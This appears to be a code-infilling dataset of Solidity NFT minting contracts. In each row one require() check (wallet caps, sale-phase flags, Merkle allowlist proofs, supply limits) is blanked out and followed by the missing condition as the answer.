uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
require(<FILL_ME>)
uint256 x = id % GRID_SIZE;
uint256 y = id / GRID_SIZE;
uint256 owner1x1 = _owners[id];
if (owner1x1 != 0) {
return address(owner1x1); // cast to zero
} else {
address owner3x3 = address(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE]);
if (owner3x3 != address(0)) {
return owner3x3;
} else {
address owner6x6 = address(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE]);
if (owner6x6 != address(0)) {
return owner6x6;
} else {
address owner12x12 = address(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE]);
if (owner12x12 != address(0)) {
return owner12x12;
} else {
return address(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE]);
}
}
}
}
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| id&LAYER==0,"Invalid token id" | 217,397 | id&LAYER==0 |
"max mint amount per Address exceeded" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract NFT is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 20;
uint256[] public tiers = [1500, 5000, 10000];
uint256[] public prices = [0, 0.003 ether, 0.007 ether];
uint256[] public maxMints = [1, 7, 15];
bool public paused = false;
bool public revealed = false;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
struct CurrentData {
uint256 currStage;
uint256 currPrice;
uint256 currMaxMint;
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
CurrentData memory currData = getCurrentData();
uint256 currBalance = balanceOf(msg.sender);
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if (currData.currStage == 0) {
require(
_mintAmount <= currData.currMaxMint,
"max mint amount per session exceeded"
);
} else {
require(<FILL_ME>)
}
require(
msg.value >= currData.currPrice * _mintAmount,
"insufficient funds"
);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function _extract(address receiver) internal {
}
function OwnerWalletIndex(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function getCurrentStage() public view returns (uint256) {
}
function getCurrentPrice() public view returns (uint256) {
}
function getCurrentMaxMint() public view returns (uint256) {
}
function getCurrentData() public view returns (CurrentData memory) {
}
function getTxCost(uint256 _amount) public view returns (uint256) {
}
// onlyOwner Functions
function setTiers(uint256[] calldata newTiers) public onlyOwner {
}
function setPrices(uint256[] calldata newPrices) public onlyOwner {
}
function setMaxMints(uint256[] calldata _maxMints) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function pause(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner nonReentrant {
}
}
| _mintAmount+currBalance<=currData.currMaxMint,"max mint amount per Address exceeded" | 217,652 | _mintAmount+currBalance<=currData.currMaxMint |
"Public sale has not started" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
require(<FILL_ME>)
require(
publicBalance[msg.sender] + mintAmount <= maxPublic,
"Exceeds max per wallet"
);
require(msg.value >= publicPrice * mintAmount, "Not enough funds");
_safeMint(msg.sender, mintAmount);
publicBalance[msg.sender] += mintAmount;
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| !guaranteedWL&&!FCFS,"Public sale has not started" | 217,761 | !guaranteedWL&&!FCFS |
"Exceeds max per wallet" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
require(!guaranteedWL && !FCFS, "Public sale has not started");
require(<FILL_ME>)
require(msg.value >= publicPrice * mintAmount, "Not enough funds");
_safeMint(msg.sender, mintAmount);
publicBalance[msg.sender] += mintAmount;
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| publicBalance[msg.sender]+mintAmount<=maxPublic,"Exceeds max per wallet" | 217,761 | publicBalance[msg.sender]+mintAmount<=maxPublic |
"Invalid proof!" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
require(guaranteedWL, "Guaranteed mint has not started");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
require(
guaranteedWLBalance[msg.sender] + mintAmount <= maxGuaranteed,
"Exceeds max per wallet"
);
require(
guaranteedWLCounter + mintAmount <= guaranteedSupply,
"Exceeds guaranteed amount"
);
if (guaranteedWLBalance[msg.sender] >= guaranteedFreeBalance) {
require(msg.value >= guaranteedWLPrice * mintAmount, "Not enough funds");
} else {
uint256 currentlyOwned = guaranteedWLBalance[msg.sender] + mintAmount;
if (currentlyOwned > guaranteedFreeBalance) {
uint256 toBePaid = currentlyOwned - guaranteedFreeBalance;
require(msg.value >= guaranteedWLPrice * toBePaid, "Not enough funds");
}
}
_safeMint(msg.sender, mintAmount);
guaranteedWLBalance[msg.sender] += mintAmount;
guaranteedWLCounter += mintAmount;
if (guaranteedWLCounter == guaranteedSupply) guaranteedWL = false;
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,guaranteedWLList,leaf),"Invalid proof!" | 217,761 | MerkleProof.verify(_merkleProof,guaranteedWLList,leaf) |
"Exceeds max per wallet" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
require(guaranteedWL, "Guaranteed mint has not started");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, guaranteedWLList, leaf),
"Invalid proof!"
);
require(<FILL_ME>)
require(
guaranteedWLCounter + mintAmount <= guaranteedSupply,
"Exceeds guaranteed amount"
);
if (guaranteedWLBalance[msg.sender] >= guaranteedFreeBalance) {
require(msg.value >= guaranteedWLPrice * mintAmount, "Not enough funds");
} else {
uint256 currentlyOwned = guaranteedWLBalance[msg.sender] + mintAmount;
if (currentlyOwned > guaranteedFreeBalance) {
uint256 toBePaid = currentlyOwned - guaranteedFreeBalance;
require(msg.value >= guaranteedWLPrice * toBePaid, "Not enough funds");
}
}
_safeMint(msg.sender, mintAmount);
guaranteedWLBalance[msg.sender] += mintAmount;
guaranteedWLCounter += mintAmount;
if (guaranteedWLCounter == guaranteedSupply) guaranteedWL = false;
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| guaranteedWLBalance[msg.sender]+mintAmount<=maxGuaranteed,"Exceeds max per wallet" | 217,761 | guaranteedWLBalance[msg.sender]+mintAmount<=maxGuaranteed |
"Exceeds guaranteed amount" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
require(guaranteedWL, "Guaranteed mint has not started");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, guaranteedWLList, leaf),
"Invalid proof!"
);
require(
guaranteedWLBalance[msg.sender] + mintAmount <= maxGuaranteed,
"Exceeds max per wallet"
);
require(<FILL_ME>)
if (guaranteedWLBalance[msg.sender] >= guaranteedFreeBalance) {
require(msg.value >= guaranteedWLPrice * mintAmount, "Not enough funds");
} else {
uint256 currentlyOwned = guaranteedWLBalance[msg.sender] + mintAmount;
if (currentlyOwned > guaranteedFreeBalance) {
uint256 toBePaid = currentlyOwned - guaranteedFreeBalance;
require(msg.value >= guaranteedWLPrice * toBePaid, "Not enough funds");
}
}
_safeMint(msg.sender, mintAmount);
guaranteedWLBalance[msg.sender] += mintAmount;
guaranteedWLCounter += mintAmount;
if (guaranteedWLCounter == guaranteedSupply) guaranteedWL = false;
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| guaranteedWLCounter+mintAmount<=guaranteedSupply,"Exceeds guaranteed amount" | 217,761 | guaranteedWLCounter+mintAmount<=guaranteedSupply |
"Invalid proof!" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
require(FCFS, "FCFS mint has not started");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
require(
FCFSBalance[msg.sender] + mintAmount <= maxFCFS,
"Exceeds max per wallet"
);
require(
FCFSCounter + mintAmount <= FCFSsupply,
"Exceeds guaranteed amount"
);
require(msg.value >= FCFSPrice * mintAmount, "Not enough funds");
_safeMint(msg.sender, mintAmount);
FCFSBalance[msg.sender] += mintAmount;
FCFSCounter += mintAmount;
if (FCFSCounter == FCFSsupply) FCFS = false;
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
